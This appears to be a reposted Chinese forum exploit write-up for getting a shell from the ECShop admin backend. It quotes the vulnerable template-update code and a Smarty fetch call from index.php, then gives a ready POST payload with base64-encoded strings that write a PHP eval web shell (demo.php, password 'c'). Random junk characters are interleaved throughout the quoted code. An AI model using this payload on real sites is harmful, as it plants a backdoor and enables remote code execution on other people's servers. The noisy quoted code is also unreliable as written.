Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')
* }5 b( B5 U2 D9 k4 A7 ~2 Z
2   

2 }- z/ _! ~8 d' T2 S6 K  u3 {
) ~. U( P8 [& u) p0 R
9 q0 i7 P1 i, ?! X% R4     check_authz_json('library_manage');

; V) g6 @6 @# ~1 ?3 ~5   
7 c" P. \# i% K7 t6 e  X
- D, \) K" F8 |# n8 @6     $html = stripslashes(json_str_iconv($_POST['html']));

7   
+ f( T& H" k9 D: y9 _$ |2 x
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
: Q8 }  ~2 P# D& b
9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
' F! P' [1 \) z" h* I1 E; I% R
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
& \+ p" y* z; u0 O6 y
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( I- ]" r0 l' I! c
15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
  u2 ?* t6 Y* G: V
17         make_json_result('', $_LANG['update_lib_success']);
* U& V% c  e6 k: o: \: M) z
4 q, a7 a( w0 k# R; r18     }
* N& D6 R8 y3 t( i9 m7 F3 K
19     else
) U. n( A) }/ f7 V( v
. r  r8 x- Q0 z. I$ e6 p- @20     {
7 k6 T5 q! U- I, t6 [1 G6 ^
' M8 T8 U, Y) \; z21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
% j# y+ V5 @5 c6 a* V$ k* F
) t2 @5 ?+ F2 ~+ T22     }
( J. v5 X- P# O" k
- M! O. i$ H6 v3 f23 }

; n7 K! i3 V0 A+ g- v那么找个比较方便调用了模板的文件
/ H) I' z  t5 O  _2 rindex.php
3 s( x6 A1 |7 O4 O: n) c$ a
- g2 @# |4 Y" J. m, d( d) _! C/ K" c1 if ($act == 'cat_rec')

+ o2 X, ?% `; [* h- C1 @2   
% m, \; [* c# P
3 {
$ Y  T) }. @1 M9 T, l' F7 S
4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

0 o/ u& z3 h/ T, W! @) |$ d- z6   
7 g2 ^# P9 Q( K" e4 R! p
. ]  }6 [" t- J, A9 u- H$ P( d7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
  Y) `) L1 e7 N! H
11     include_once('includes/cls_json.php');
- `  _; U  K! _% g& d
0 x& O1 v1 t8 C8 K12   

13     $json = new JSON;
8 S. X9 z3 N8 e! G4 \& p
14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
* y' M. s( ?" x/ m" i4 ~
6 W$ G! C: c" i# f  A. A8 O9 w16   

' g/ |! C2 e# \  X2 q17     $children = get_children($cat_id);

8 U6 a; ~* m: w2 |9 @  x18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

( T* y1 T. x. b% K21     $smarty->assign('cat_rec_sign', 1);
8 c9 A% Q, s( g6 q7 Z* ]
$ H6 {9 @. \0 e! R3 M5 @  `22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

/ H  W! W  ]8 c0 Q8 x24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
7 H! h  z# F0 n" N& x
! l5 c: _* _" u2 J26   

27         echo $rec_array[$rec_type];
9 E# q$ Z  A) Q) V+ ^# \) ?) G
28   
! o& g3 E( r! h: Z0 ?
29     die($json->encode($result));
2 s  G- V, ?- I# C# A9 l1 O
0 _3 u; A' s- r& _: [9 ]* H" _' }30   

9 @% i7 p* G- z) q! S31 }

2 @1 P, ]# B9 M4 i: j8 T, C那么就有利用方法了
1 v3 B; @/ j" z# a8 N% Gpost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
: R0 a: H6 V+ C1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
: K/ S) |9 Q+ t  B
, Z( b: z0 P/ u: l1 N0 r7 q然后访问http://localhost/ec/index.php?act=cat_rec
! G. x2 w( x1 b- _. F
: u- i: S- U  hshel地址：http://localhost/ec/demo.php
密码c